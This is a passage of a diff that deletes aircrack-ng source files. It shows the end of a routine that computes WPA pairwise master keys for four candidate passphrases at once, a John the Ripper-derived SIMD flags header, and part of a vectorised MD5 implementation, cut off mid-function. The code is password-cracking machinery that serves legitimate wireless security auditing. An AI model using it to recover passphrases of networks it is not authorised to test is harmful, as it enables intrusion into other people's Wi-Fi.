-		u3 = (unsigned *) ( k_ipad + 128 );
-		v4 = (unsigned *) ( k_ipad + 192 );
-        w = (unsigned *) buffer;
-
-        for( i = 0; i < 16; i++ )
-        {
-            /* interleave the data */
-
-            *w++ = *u++ ^ 0x36363636;
-            *w++ = *v++ ^ 0x36363636;
-            *w++ = *u3++ ^ 0x36363636;
-            *w++ = *v4++ ^ 0x36363636;
-        }
-
-		shasse2_init( ctx_ipad );
-        shasse2_data( ctx_ipad, buffer, wrkbuf );
-
-        u = (unsigned *) ( k_opad      );
-        v = (unsigned *) ( k_opad + 64 );
-        u3 = (unsigned *) ( k_opad + 128 );
-        v4 = (unsigned *) ( k_opad + 192 );
-        w = (unsigned *) buffer;
-
-        for( i = 0; i < 16; i++ )
-        {
-            *w++ = *u++ ^ 0x5C5C5C5C;
-            *w++ = *v++ ^ 0x5C5C5C5C;
-            *w++ = *u3++ ^ 0x5C5C5C5C;
-            *w++ = *v4++ ^ 0x5C5C5C5C;
-        }
-
-        shasse2_init( ctx_opad );
-        shasse2_data( ctx_opad, buffer, wrkbuf );
-
-        memset( buffer, 0, sizeof( buffer ) );
-
-
-		buffer[ 80] = buffer[ 84] = buffer[ 88] = buffer[ 92] = 0x80;
-        buffer[242] = buffer[246] = buffer[250] = buffer[254] = 0x02;
-        buffer[243] = buffer[247] = buffer[251] = buffer[255] = 0xA0;
-
-
-		essid[slen - 1] = '\1';
-
-
-		HMAC(EVP_sha1(), (unsigned char *)key1, strlen(key1), (unsigned char*)essid, slen, pmk1, NULL);
-		HMAC(EVP_sha1(), (unsigned char *)key2, strlen(key2), (unsigned char*)essid, slen, pmk2, NULL);
-		HMAC(EVP_sha1(), (unsigned char *)key3, strlen(key3), (unsigned char*)essid, slen, pmk3, NULL);
-		HMAC(EVP_sha1(), (unsigned char *)key4, strlen(key4), (unsigned char*)essid, slen, pmk4, NULL);
-
-
-		u = (unsigned *) pmk1;
-        v = (unsigned *) pmk2;
-		u3 = (unsigned *) pmk3;
-        v4 = (unsigned *) pmk4;
-        w = (unsigned *) buffer;
-
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-
-
-        for( i = 1; i < 4096; i++ )
-        {
-            memcpy( sha1_ctx, ctx_ipad, 80 );  //eran 40
-            shasse2_data( sha1_ctx, buffer, wrkbuf );
-            shasse2_ends( sha1_ctx, buffer );
-
-            memcpy( sha1_ctx, ctx_opad, 80 );
-            shasse2_data( sha1_ctx, buffer, wrkbuf );
-            shasse2_ends( sha1_ctx, buffer );
-
-            u = (unsigned *) pmk1;
-            v = (unsigned *) pmk2;
-            u3 = (unsigned *) pmk3;
-            v4 = (unsigned *) pmk4;
-            w = (unsigned *) buffer;
-
-            /* de-interleave the digests */
-            *u++ ^= *w++; *v++ ^= *w++;			*u3++ ^= *w++; *v4++ ^= *w++;
-            *u++ ^= *w++; *v++ ^= *w++;			*u3++ ^= *w++; *v4++ ^= *w++;
-            *u++ ^= *w++; *v++ ^= *w++;			*u3++ ^= *w++; *v4++ ^= *w++;
-			*u++ ^= *w++; *v++ ^= *w++;			*u3++ ^= *w++; *v4++ ^= *w++;
-            *u++ ^= *w++; *v++ ^= *w++;			*u3++ ^= *w++; *v4++ ^= *w++;
-        }
-
-
-		essid[slen - 1] = '\2';
-
-		HMAC(EVP_sha1(), (unsigned char *)key1, strlen(key1), (unsigned char*)essid, slen, pmk1 + 20, NULL);
-		HMAC(EVP_sha1(), (unsigned char *)key2, strlen(key2), (unsigned char*)essid, slen, pmk2 + 20, NULL);
-		HMAC(EVP_sha1(), (unsigned char *)key3, strlen(key3), (unsigned char*)essid, slen, pmk3 + 20, NULL);
-		HMAC(EVP_sha1(), (unsigned char *)key4, strlen(key4), (unsigned char*)essid, slen, pmk4 + 20, NULL);
-
-        u = (unsigned *) ( pmk1 + 20 ); // eran 20
-        v = (unsigned *) ( pmk2 + 20 );
-        u3 = (unsigned *) ( pmk3 + 20 ); // eran 20
-        v4 = (unsigned *) ( pmk4 + 20 );
-        w = (unsigned *) buffer;
-
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-        *w++ = *u++; *w++ = *v++;
-		*w++ = *u3++; *w++ = *v4++;
-
-        for( i = 1; i < 4096; i++ )
-        {
-            memcpy( sha1_ctx, ctx_ipad, 80 ); //eran 40
-            shasse2_data( sha1_ctx, buffer, wrkbuf );
-            shasse2_ends( sha1_ctx, buffer );
-
-            memcpy( sha1_ctx, ctx_opad, 80 );
-            shasse2_data( sha1_ctx, buffer, wrkbuf );
-            shasse2_ends( sha1_ctx, buffer );
-
-            u = (unsigned *) ( pmk1 + 20 ); //eran 20
-            v = (unsigned *) ( pmk2 + 20 );
-            u3 = (unsigned *) ( pmk3 + 20 );
-            v4 = (unsigned *) ( pmk4 + 20 );
-            w = (unsigned *) buffer;
-
-            *u++ ^= *w++; *v++ ^= *w++;			*u3++ ^= *w++; *v4++ ^= *w++;
-            *u++ ^= *w++; *v++ ^= *w++;			*u3++ ^= *w++; *v4++ ^= *w++;
-            *u++ ^= *w++; *v++ ^= *w++;			*u3++ ^= *w++; *v4++ ^= *w++;
-        }
-
-	memcpy(_pmk3, pmk3, 32);
-	memcpy(_pmk4, pmk4, 32);
-	memcpy(_pmk1, pmk1, 32);
-	memcpy(_pmk2, pmk2, 32);
-
-	/*printf("\n");
-	show_result(_key1, _pmk1);
-	show_result(_key2, _pmk2);
-	show_result(_key3, _pmk3);
-	show_result(_key4, _pmk4);
-	fflush(stdout);*/
-
-}
-#endif
-#else
-#ifdef OLD_SSE_CORE
-void calc_4pmk(char* _key1, char* _key2, char* _key3, char* _key4, char* _essid, unsigned char* _pmk1, unsigned char* _pmk2, unsigned char* _pmk3, unsigned char* _pmk4)
-{
-	calc_pmk(_key1, _essid, _pmk1);
-	calc_pmk(_key2, _essid, _pmk2);
-	calc_pmk(_key3, _essid, _pmk3);
-	calc_pmk(_key4, _essid, _pmk4);
-}
-#endif
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/simd-intrinsics-load-flags.h Deleted

@@ -1,144 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is
- * Copyright (c) 2011-2015 JimF,
- * Copyright (c) 2011-2015 magnum,
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- */
-
-#ifndef __SSE_INTRINS_LOAD_FLAGS__
-#define __SSE_INTRINS_LOAD_FLAGS__
-
-/***************************************************************
- * WARNING!!!! any changes to these numbers requires a new
- * build of simd-intrinsics-32.S and simd-intrinsics-64.S
- ***************************************************************/
-
-/*
- * SSEi_MIXED_IN
- * Input is a ready-to-use array of 16xCOEF ints that are properly SIMD
- * interleaved, cleaned, appended with 0x80 and has a proper a length word.
- * The data will be copied to stack workspace.
- *
- * SSEi_FLAT_IN
- * Input is an array of 64xCOEF (128xCOEF_64 for 64 bit crypts) byte 'flat'
- * values, the hash function has to shuffle it. But 0x80 and length must be
- * in place.
- *
- * SSEi_CSTRING_IN
- * Input will be just as for OpenSSL: A normal char[COEF][64] array where
- * each string ends in NULL, with no 0x80 or length prepared. The intrinsics
- * function needs to take care of that as well as cleaning (after NULL),
- * shuffling and possibly do endian swapping if applicable.
- *
- * SSEi_FLAT_OUT
- * Output will be just as from OpenSSL. Swapped if applicable, not interleaved.
- * This should only be used for "final" crypt (and only for slow formats).
- *
- * SSEi_RELOAD
- * No init; state from last crypt is held in output buffer.
- *
- * SSEi_RELOAD_INP_FMT
- * No init; state from last crypt is held in output buffer. However, it is in
- * 'INPUT' format. This is a no-op unless PARA > 1.
- *
- * SSEi_OUTPUT_AS_INP_FMT
- * Write final output using 'INPUT' format. Will not matter unless PARA > 1
- *
- * SSEi_REVERSE_STEPS
- * Reverse some steps, at minimum the "a = a + init". Only valid if not doing
- * reload, and if format does corresponding things in binary() et. al.
- *
- * SSEi_2BUF_INPUT
- * Input array is 2x in size, for a possible max input of 64+55 (119) bytes.
- *
- * SSEi_2BUF_INPUT_FIRST_BLK
- * Input array 2x in size. This is the first block, so we must rotate element
- * 14/15 if in flat mode.
- *
- * SSEi_4BUF_INPUT
- * Input array is 4x in size (This is seen in the dynamic type, for sha256. We
- * have 256 byte input buffers there).
- *
- * SSEi_4BUF_INPUT_FIRST_BLK
- * Input array 4x in size. This is the first block, so we must rotate element
- * 14/15 if in flat mode.
- *
- * SSEi_FLAT_RELOAD_SWAPLAST
- * Can be an issue for flat mode, and reload (i.e. multi buffers.) The last
- * limb should NEVER have this flag set. This also only 'affects' the SHA1
- * and SHA256 formats. Similar to SSEi_4BUF_INPUT_FIRST_BLK, but simply says
- * we will have more buffers coming after this one.
- *
- * SSEi_CRYPT_SHA224     use SHA224 IV.
- * SSEi_CRYPT_SHA384     use SHA384 IV.
- * These are specific to SHA2 hashes. Reusing the same bit, since only 1 will
- * be used (i.e. it is not valid to do SSE_CRYPT_SHA224|SSE_CRYPT_SHA224)
- *
- * WARNING, SHA224 requires a FULL SHA256 width output buffer, and SHA384
- * requires a full SHA512 width output buffer.  This is to allow proper
- * reloading and doing multi-limb crypts.
- */
-
-typedef enum {
-	SSEi_MIXED_IN                = 0x0,
-	SSEi_FLAT_IN                 = 0x1,
-/*	SSEi_CSTRING_IN              = 0x2,	NOT IMPLEMENTED YET*/
-	SSEi_FLAT_OUT                = 0x4,
-	SSEi_RELOAD                  = 0x8,
-	SSEi_RELOAD_INP_FMT          = 0x10 | SSEi_RELOAD,
-	SSEi_OUTPUT_AS_INP_FMT       = 0x20,
-	SSEi_REVERSE_STEPS           = 0x40,
-	SSEi_2BUF_INPUT              = 0x80,
-	SSEi_2BUF_INPUT_FIRST_BLK    = 0x100 | SSEi_2BUF_INPUT,
-	SSEi_4BUF_INPUT              = 0x200,
-	SSEi_4BUF_INPUT_FIRST_BLK    = 0x400 | SSEi_4BUF_INPUT,
-	SSEi_FLAT_RELOAD_SWAPLAST    = 0x800,
-	SSEi_CRYPT_SHA224            = 0x1000,
-	SSEi_CRYPT_SHA384            = 0x1000,
-	SSEi_OUTPUT_AS_2BUF_INP_FMT  = 0x2000 | SSEi_OUTPUT_AS_INP_FMT
-} SSEi_FLAGS;
-
-
-#endif /* __SSE_INTRINS_LOAD_FLAGS__  */

aircrack-ng-1.2-rc4.tar.gz/src/simd-intrinsics.c Deleted

@@ -1,2721 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is
- * Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>,
- * Copyright (c) 2012 Solar Designer,
- * Copyright (c) 2011-2015 JimF,
- * Copyright (c) 2011-2015 magnum,
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * SHA-2 Copyright 2013, epixoip. Redistribution and use in source and binary
- * forms, with or without modification, are permitted provided that
- * redistribution of source retains the above copyright.
- */
-
-#include <string.h>
-
-#include "arch.h"
-#include "pseudo_intrinsics.h"
-#include "memory.h"
-#include "md5.h"
-#include "MD5_std.h"
-#include "stdint.h"
-#include "johnswap.h"
-#include "simd-intrinsics-load-flags.h"
-#include "aligned.h"
-#include "misc.h"
-#include "memdbg.h"
-
-/* Shorter names for use in index calculations */
-#define VS32 SIMD_COEF_32
-#define VS64 SIMD_COEF_64
-
-#if SIMD_PARA_MD5
-#define MD5_SSE_NUM_KEYS	(SIMD_COEF_32*SIMD_PARA_MD5)
-#define MD5_PARA_DO(x)	for((x)=0;(x)<SIMD_PARA_MD5;(x)++)
-
-#define MD5_F(x,y,z)                            \
-    tmp[i] = vcmov((y[i]),(z[i]),(x[i]));
-
-#define MD5_G(x,y,z)                            \
-    tmp[i] = vcmov((x[i]),(y[i]),(z[i]));
-
-#if __AVX512F__
-#define MD5_H(x,y,z)                            \
-    tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-
-#define MD5_H2(x,y,z)                           \
-    tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-#elif 1
-#define MD5_H(x,y,z)                            \
-    tmp2[i] = vxor((x[i]),(y[i]));              \
-    tmp[i] = vxor(tmp2[i], (z[i]));
-
-#define MD5_H2(x,y,z)                           \
-    tmp[i] = vxor((x[i]), tmp2[i]);
-#else
-#define MD5_H(x,y,z)                            \
-    tmp[i] = vxor((x[i]),(y[i]));               \
-    tmp[i] = vxor((tmp[i]),(z[i]));
-
-#define MD5_H2(x,y,z)                           \
-    tmp[i] = vxor((y[i]),(z[i]));               \
-    tmp[i] = vxor((tmp[i]),(x[i]));
-#endif
-
-#if __AVX512F__
-#define MD5_I(x,y,z)                            \
-    tmp[i] = vternarylogic(x[i], y[i], z[i], 0x39);
-#elif __ARM_NEON__
-#define MD5_I(x,y,z)                            \
-    tmp[i] = vorn((x[i]), (z[i]));              \
-    tmp[i] = vxor((tmp[i]), (y[i]));
-#elif !VCMOV_EMULATED
-#define MD5_I(x,y,z)                            \
-    tmp[i] = vcmov((x[i]), mask, (z[i]));       \
-    tmp[i] = vxor((tmp[i]), (y[i]));
-#else
-#define MD5_I(x,y,z)                            \
-    tmp[i] = vandnot((z[i]), mask);             \
-    tmp[i] = vor((tmp[i]),(x[i]));              \
-    tmp[i] = vxor((tmp[i]),(y[i]));
-#endif
-
-#define MD5_STEP(f, a, b, c, d, x, t, s)            \
-    MD5_PARA_DO(i) {                                \
-        a[i] = vadd_epi32( a[i], vset1_epi32(t) );  \
-        a[i] = vadd_epi32( a[i], data[i*16+x] );    \
-        f((b),(c),(d))                              \
-        a[i] = vadd_epi32( a[i], tmp[i] );          \
-        a[i] = vroti_epi32( a[i], (s) );            \
-        a[i] = vadd_epi32( a[i], b[i] );            \
-    }
-
-#define MD5_STEP_r16(f, a, b, c, d, x, t, s)        \
-    MD5_PARA_DO(i) {                                \
-        a[i] = vadd_epi32( a[i], vset1_epi32(t) );  \
-        a[i] = vadd_epi32( a[i], data[i*16+x] );    \
-        f((b),(c),(d))                              \
-        a[i] = vadd_epi32( a[i], tmp[i] );          \
-        a[i] = vroti16_epi32( a[i], (s) );          \
-        a[i] = vadd_epi32( a[i], b[i] );            \
-    }
-
-#define INIT_A 0x67452301
-
-void md5_reverse(uint32_t *hash)
-{
-	hash[0] -= INIT_A;
-}
-
-void md5_unreverse(uint32_t *hash)
-{
-	hash[0] += INIT_A;
-}
-
-#undef INIT_A
-
-void SIMDmd5body(vtype* _data, unsigned int *out,
-                ARCH_WORD_32 *reload_state, unsigned SSEi_flags)
-{
-	vtype w[16*SIMD_PARA_MD5];
-	vtype a[SIMD_PARA_MD5];
-	vtype b[SIMD_PARA_MD5];
-	vtype c[SIMD_PARA_MD5];
-	vtype d[SIMD_PARA_MD5];
-	vtype tmp[SIMD_PARA_MD5];
-#if !__AVX512F__
-	vtype tmp2[SIMD_PARA_MD5];
-#endif
-	unsigned int i;
-	vtype *data;
-
-#if !__AVX512F__ && !__ARM_NEON__
-	vtype mask;
-	mask = vset1_epi32(0xffffffff);
-#endif
-
-	if(SSEi_flags & SSEi_FLAT_IN) {
-		// Move _data to __data, mixing it SIMD_COEF_32 wise.
-#if __SSE4_1__ || __MIC__
-		unsigned k;
-		vtype *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data;
-		MD5_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (i=0; i < 16; ++i) { GATHER_4x(W[i], saved_key, i); }
-				saved_key += (VS32<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (i=0; i < 16; ++i) { GATHER_2x(W[i], saved_key, i); }
-				saved_key += (VS32<<5);
-			} else {
-				for (i=0; i < 16; ++i) { GATHER(W[i], saved_key, i); }
-				saved_key += (VS32<<4);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 *p = (ARCH_WORD_32*)w;
-		vtype *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data;
-		MD5_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<6)+j];
-				saved_key += (VS32<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<5)+j];
-				saved_key += (VS32<<5);
-			} else {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<4)+j];
-				saved_key += (VS32<<4);
-			}
-			W += 16;
-		}
-#endif
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	} else
-		data = _data;
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		MD5_PARA_DO(i)
-		{
-			a[i] = vset1_epi32(0x67452301);
-			b[i] = vset1_epi32(0xefcdab89);
-			c[i] = vset1_epi32(0x98badcfe);
-			d[i] = vset1_epi32(0x10325476);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*16*VS32+0*VS32]);
-				b[i] = vload((vtype*)&reload_state[i*16*VS32+1*VS32]);
-				c[i] = vload((vtype*)&reload_state[i*16*VS32+2*VS32]);
-				d[i] = vload((vtype*)&reload_state[i*16*VS32+3*VS32]);
-			}
-		}
-		else
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*4*VS32+0*VS32]);
-				b[i] = vload((vtype*)&reload_state[i*4*VS32+1*VS32]);
-				c[i] = vload((vtype*)&reload_state[i*4*VS32+2*VS32]);
-				d[i] = vload((vtype*)&reload_state[i*4*VS32+3*VS32]);
-			}
-		}
-	}
-
-/* Round 1 */
-	MD5_STEP(MD5_F, a, b, c, d, 0, 0xd76aa478, 7)
-	MD5_STEP(MD5_F, d, a, b, c, 1, 0xe8c7b756, 12)
-	MD5_STEP(MD5_F, c, d, a, b, 2, 0x242070db, 17)
-	MD5_STEP(MD5_F, b, c, d, a, 3, 0xc1bdceee, 22)
-	MD5_STEP(MD5_F, a, b, c, d, 4, 0xf57c0faf, 7)
-	MD5_STEP(MD5_F, d, a, b, c, 5, 0x4787c62a, 12)
-	MD5_STEP(MD5_F, c, d, a, b, 6, 0xa8304613, 17)
-	MD5_STEP(MD5_F, b, c, d, a, 7, 0xfd469501, 22)
-	MD5_STEP(MD5_F, a, b, c, d, 8, 0x698098d8, 7)
-	MD5_STEP(MD5_F, d, a, b, c, 9, 0x8b44f7af, 12)
-	MD5_STEP(MD5_F, c, d, a, b, 10, 0xffff5bb1, 17)
-	MD5_STEP(MD5_F, b, c, d, a, 11, 0x895cd7be, 22)
-	MD5_STEP(MD5_F, a, b, c, d, 12, 0x6b901122, 7)
-	MD5_STEP(MD5_F, d, a, b, c, 13, 0xfd987193, 12)
-	MD5_STEP(MD5_F, c, d, a, b, 14, 0xa679438e, 17)
-	MD5_STEP(MD5_F, b, c, d, a, 15, 0x49b40821, 22)
-
-/* Round 2 */
-	MD5_STEP(MD5_G, a, b, c, d, 1, 0xf61e2562, 5)
-	MD5_STEP(MD5_G, d, a, b, c, 6, 0xc040b340, 9)
-	MD5_STEP(MD5_G, c, d, a, b, 11, 0x265e5a51, 14)
-	MD5_STEP(MD5_G, b, c, d, a, 0, 0xe9b6c7aa, 20)
-	MD5_STEP(MD5_G, a, b, c, d, 5, 0xd62f105d, 5)
-	MD5_STEP(MD5_G, d, a, b, c, 10, 0x02441453, 9)
-	MD5_STEP(MD5_G, c, d, a, b, 15, 0xd8a1e681, 14)
-	MD5_STEP(MD5_G, b, c, d, a, 4, 0xe7d3fbc8, 20)
-	MD5_STEP(MD5_G, a, b, c, d, 9, 0x21e1cde6, 5)
-	MD5_STEP(MD5_G, d, a, b, c, 14, 0xc33707d6, 9)
-	MD5_STEP(MD5_G, c, d, a, b, 3, 0xf4d50d87, 14)
-	MD5_STEP(MD5_G, b, c, d, a, 8, 0x455a14ed, 20)
-	MD5_STEP(MD5_G, a, b, c, d, 13, 0xa9e3e905, 5)
-	MD5_STEP(MD5_G, d, a, b, c, 2, 0xfcefa3f8, 9)
-	MD5_STEP(MD5_G, c, d, a, b, 7, 0x676f02d9, 14)
-	MD5_STEP(MD5_G, b, c, d, a, 12, 0x8d2a4c8a, 20)
-
-/* Round 3 */
-	MD5_STEP(MD5_H, a, b, c, d, 5, 0xfffa3942, 4)
-	MD5_STEP(MD5_H2, d, a, b, c, 8, 0x8771f681, 11)
-	MD5_STEP_r16(MD5_H, c, d, a, b, 11, 0x6d9d6122, 16)
-	MD5_STEP(MD5_H2, b, c, d, a, 14, 0xfde5380c, 23)
-	MD5_STEP(MD5_H, a, b, c, d, 1, 0xa4beea44, 4)
-	MD5_STEP(MD5_H2, d, a, b, c, 4, 0x4bdecfa9, 11)
-	MD5_STEP_r16(MD5_H, c, d, a, b, 7, 0xf6bb4b60, 16)
-	MD5_STEP(MD5_H2, b, c, d, a, 10, 0xbebfbc70, 23)
-	MD5_STEP(MD5_H, a, b, c, d, 13, 0x289b7ec6, 4)
-	MD5_STEP(MD5_H2, d, a, b, c, 0, 0xeaa127fa, 11)
-	MD5_STEP_r16(MD5_H, c, d, a, b, 3, 0xd4ef3085, 16)
-	MD5_STEP(MD5_H2, b, c, d, a, 6, 0x04881d05, 23)
-	MD5_STEP(MD5_H, a, b, c, d, 9, 0xd9d4d039, 4)
-	MD5_STEP(MD5_H2, d, a, b, c, 12, 0xe6db99e5, 11)
-	MD5_STEP_r16(MD5_H, c, d, a, b, 15, 0x1fa27cf8, 16)
-	MD5_STEP(MD5_H2, b, c, d, a, 2, 0xc4ac5665, 23)
-
-/* Round 4 */
-	MD5_STEP(MD5_I, a, b, c, d, 0, 0xf4292244, 6)
-	MD5_STEP(MD5_I, d, a, b, c, 7, 0x432aff97, 10)
-	MD5_STEP(MD5_I, c, d, a, b, 14, 0xab9423a7, 15)
-	MD5_STEP(MD5_I, b, c, d, a, 5, 0xfc93a039, 21)
-	MD5_STEP(MD5_I, a, b, c, d, 12, 0x655b59c3, 6)
-	MD5_STEP(MD5_I, d, a, b, c, 3, 0x8f0ccc92, 10)
-	MD5_STEP(MD5_I, c, d, a, b, 10, 0xffeff47d, 15)
-	MD5_STEP(MD5_I, b, c, d, a, 1, 0x85845dd1, 21)
-	MD5_STEP(MD5_I, a, b, c, d, 8, 0x6fa87e4f, 6)
-	MD5_STEP(MD5_I, d, a, b, c, 15, 0xfe2ce6e0, 10)
-	MD5_STEP(MD5_I, c, d, a, b, 6, 0xa3014314, 15)
-	MD5_STEP(MD5_I, b, c, d, a, 13, 0x4e0811a1, 21)
-	MD5_STEP(MD5_I, a, b, c, d, 4, 0xf7537e82, 6)
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		MD5_PARA_DO(i)
-		{
-			vstore((vtype*)&out[i*4*VS32+0*VS32], a[i]);
-		}
-		return;
-	}
-
-	MD5_STEP(MD5_I, d, a, b, c, 11, 0xbd3af235, 10)
-	MD5_STEP(MD5_I, c, d, a, b, 2, 0x2ad7d2bb, 15)
-	MD5_STEP(MD5_I, b, c, d, a, 9, 0xeb86d391, 21)
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		MD5_PARA_DO(i)
-		{
-			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
-			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
-			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
-			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*16*VS32+0*VS32]));
-				b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*16*VS32+1*VS32]));
-				c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*16*VS32+2*VS32]));
-				d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*16*VS32+3*VS32]));
-			}
-		}
-		else
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*4*VS32+0*VS32]));
-				b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*4*VS32+1*VS32]));
-				c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*4*VS32+2*VS32]));
-				d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*4*VS32+3*VS32]));
-			}
-		}
-	}
-
-#if USE_EXPERIMENTAL
-/*
- * This is currently not used for MD5, and was observed to result
- * in a significant performance regression (at least on XOP) just by sitting
- * here. http://www.openwall.com/lists/john-dev/2015/09/05/5
- * NOTE the regression might be gone now anyway since we went from -O3 to -O2.
- */
-	if (SSEi_flags & SSEi_FLAT_OUT) {
-		MD5_PARA_DO(i)
-		{
-			uint32_t *o = (uint32_t*)&out[i*4*VS32];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi32(15*4,14*4,13*4,12*4,
-			                        11*4,10*4, 9*4, 8*4,
-			                         7*4, 6*4, 5*4, 4*4,
-			                         3*4, 2*4, 1*4, 0*4);
-
-			vscatter_epi32(o + 0, idxs, a[i], 4);
-			vscatter_epi32(o + 1, idxs, b[i], 4);
-			vscatter_epi32(o + 2, idxs, c[i], 4);
-			vscatter_epi32(o + 3, idxs, d[i], 4);
-#else
-			uint32_t j, k;
-			union {
-				vtype v[4];
-				uint32_t s[4 * VS32];
-			} tmp;
-
-			tmp.v[0] = a[i];
-			tmp.v[1] = b[i];
-			tmp.v[2] = c[i];
-			tmp.v[3] = d[i];
-
-			for (j = 0; j < VS32; j++)
-				for (k = 0; k < 4; k++)
-					o[j*4+k] = tmp.s[k*VS32+j];
-#endif
-		}
-	}
-	else
-#endif
-	if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) {
-			MD5_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*32*VS32+0*VS32], a[i]);
-				vstore((vtype*)&out[i*32*VS32+1*VS32], b[i]);
-				vstore((vtype*)&out[i*32*VS32+2*VS32], c[i]);
